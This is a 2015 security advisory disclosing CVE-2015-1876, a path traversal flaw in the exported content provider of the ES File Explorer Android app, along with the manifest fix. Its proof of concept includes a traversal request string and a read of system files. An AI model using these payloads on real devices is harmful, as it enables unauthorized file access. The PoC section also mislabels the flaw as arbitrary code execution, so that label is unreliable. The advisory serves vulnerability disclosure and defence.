ES File Explorer v3.2.4.1 - Path Traversal Vulnerability

2015-02-17T00:00:00
ID VULNERLAB:1435
Type vulnerlab
Reporter Hadji Samir [s-dz@hotmail.fr]
Modified 2015-02-17T00:00:00

Description

                                        
                                            Document Title:
===============
ES File Explorer v3.2.4.1 - Path Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1435

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1876

CVE-ID:
=======
CVE-2015-1876


Release Date:
=============
2015-02-17


Vulnerability Laboratory ID (VL-ID):
====================================
1435


Common Vulnerability Scoring System:
====================================
7.8


Product & Service Introduction:
===============================
ES File Explorer is a free all-in-one including a file manager & application & tasks,
support for online storage spaces (Dropbox, Google Drive, SkyDrive, Box.net, Sugarsync, Yandex, Amazon S3),
 FTP & Samba client to explore the images, music, videos, documents and other files from your phone and your computer.
It allows Android users around the world to manage their resources for free; you can see the files on your phone,
access from anywhere and share them with others; it allows you to easily manage your photos or watch videos, stay connected on 3G,
EDGE or WiFi, and share with friends.

(Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=com.estrongs.android.pop )


Abstract Advisory Information:
==============================
An independent vulnerability laboraotory researcher discovered a path traversal web vulnerability in the official ES File Explorer v3.2.4.1 mobile android web-application.


Vulnerability Disclosure Timeline:
==================================
2015-02-17:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
ES APP GROUP
Product: ES File Explorer - Mobile Web Application (Android) 3.2.4.1 


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A Path Traveral web vulnerability has been discovered in the official in the official ES File Explorer v3.2.4.1 mobile android web-application.
The security vulnerability allows a remote attacker to unauthorized request local files and device system paths to compromise the application or device.

The vulnerability is located in the `content://com.estrongs.files/system/` path request with the <file> context. The vulnerability can be exploited by 
local or remote attackers without user interaction. The attacker needs to replace the sdcard path request in the com.estrongs.files/system with a 
malicious path request like ./etc/passwd ./etc/hosts and continues the request. The attack vector is located on the application-side of the service 
and the request is http.

The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8. 
Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. Successful exploitation 
of the vulnerability results in mobile application compromise

Request Method(s):
				[+] POST & Sync

Vulnerable Module(s):
				[+] content://com.estrongs.files/

Vulnerable Parameter(s):
				[+] path

Affected Module(s):
				[+] content://com.estrongs.files/system/


Proof of Concept (PoC):
=======================
The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs ---
Package: com.estrongs.android.pop
  Application Label: ES File Explorer
  Process Name: com.estrongs.android.pop
  Version: 3.2.4.1
  Data Directory: /data/data/com.estrongs.android.pop
  APK Path: /data/app/com.estrongs.android.pop-2.apk
  UID: 10235
  GID: [3003, 3002, 3001, 1015, 1028]

  Permissions:
  - android.permission.WRITE_SETTINGS
  - android.permission.CHANGE_WIFI_STATE
  - android.permission.CHANGE_NETWORK_STATE
  - android.permission.INTERNET
  - android.permission.SET_WALLPAPER
  - android.permission.ACCESS_NETWORK_STATE
  - android.permission.ACCESS_WIFI_STATE
  - com.android.launcher.permission.INSTALL_SHORTCUT
  - com.android.launcher.permission.UNINSTALL_SHORTCUT
  - android.permission.BLUETOOTH
  - android.permission.BLUETOOTH_ADMIN
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.WRITE_MEDIA_STORAGE
  - android.permission.WAKE_LOCK
  - android.permission.READ_PHONE_STATE
  - android.permission.ACCESS_SUPERUSER
  - android.permission.VIBRATE
  - .PERMISSION
  - android.permission.CHANGE_WIFI_MULTICAST_STATE
  - android.permission.SYSTEM_ALERT_WINDOW
  - android.permission.GET_TASKS
  - android.permission.READ_EXTERNAL_STORAGE
  Defines Permissions:
  - None

Activities:
com.estrongs.android.pop.view.FileExplorerActivity
com.estrongs.android.pop.app.compress.CompressionActivity
com.estrongs.android.pop.app.compress.CompressionProxyActivity
com.estrongs.android.pop.app.ESFileSharingActivity
com.estrongs.android.pop.app.SaveToESActivity
com.estrongs.android.pop.app.LocalFileSharingActivity
com.estrongs.android.pop.app.PopVideoPlayer
com.estrongs.android.pop.app.PopVideoPlayerProxyActivity
com.estrongs.android.pop.app.AudioPlayerProxyActivity
com.estrongs.android.pop.app.editor.PopNoteEditor
com.estrongs.android.pop.app.FileChooserActivity
com.estrongs.android.pop.app.ESContentChooserActivity
com.estrongs.android.pop.app.ESRingtoneChooserActivity
com.estrongs.android.pop.app.ESWallPaperChooserActivity
com.estrongs.android.pop.app.DownloaderActivity
com.estrongs.android.pop.app.BrowserDownloaderActivity
com.estrongs.android.pop.app.PopRemoteImageBrowser
com.estrongs.android.pop.ftp.ESFtpShortcut
com.estrongs.android.pop.app.ShowDialogActivity
com.estrongs.android.pop.app.AppCheckUpdateList
com.estrongs.android.pop.app.DefaultWindowSetting
com.estrongs.android.pop.app.DocumentExtModifyList
com.estrongs.android.pop.app.TransitActivity

Broadcast(Receiver):
 com.estrongs.android.pop.app.AudioPlayerService$MediaButtonReceiver
 com.baidu.share.message.ShareReceiver
 com.estrongs.android.pop.EnableOEMConfig
 com.estrongs.android.pop.app.InstallMonitorReceiver
 com.estrongs.android.pop.app.StartServiceReceiver

Services:
 com.estrongs.android.pop.bt.OBEXFtpServerService
    Permission: null

Providers:
Authority: com.estrongs.files
  Read Permission: null
  Write Permission: null
  Content Provider: com.estrongs.android.pop.app.FileContentProvider
  Multiprocess Allowed: False
  Grant Uri Permissions: True


read content://com.estrongs.files/system/../../../../../sdcard/<file>

Read file hosts
read content://com.estrongs.files/system/etc/hosts
127.0.0.1                   localhost


Solution - Fix & Patch:
=======================
In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set.

Vulnerable code:

com.estrongs.files
  Read Permission: null
  Write Permission: null
android:exported=``true`` change ``true`` to ``false``

When the value is ``false``, only components of the same application or applications with the same user ID can start the service or bind to it.

<provider android:authorities=``com.estrongs.files`` android:exported=``true`` android:grantUriPermissions=``true`` android:name=``com.estrongs.android.pop.app.FileContentProvider``/>

Fixed code:
<provider android:authorities=``com.estrongs.files`` android:exported=``false`` android:grantUriPermissions=``true`` android:name=``com.estrongs.android.pop.app.FileContentProvider``/>

read content://com.estrongs.files/system/etc/hosts
Permission Denial: opening provider com.estrongs.android.pop.app.FileContentProv
ider from ProcessRecord{4192d1a0 32050:com.mwr.dz:remote/u0a216} (pid=32050, uid
=10216) that is not exported from uid 10235


Security Risk:
==============
The security risk of the path traversal web vulnerability in the android app is estimated as high. (CVSS 7.8)


Credits & Authors:
==================
Hadji Samir [s-dz@hotmail.fr]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™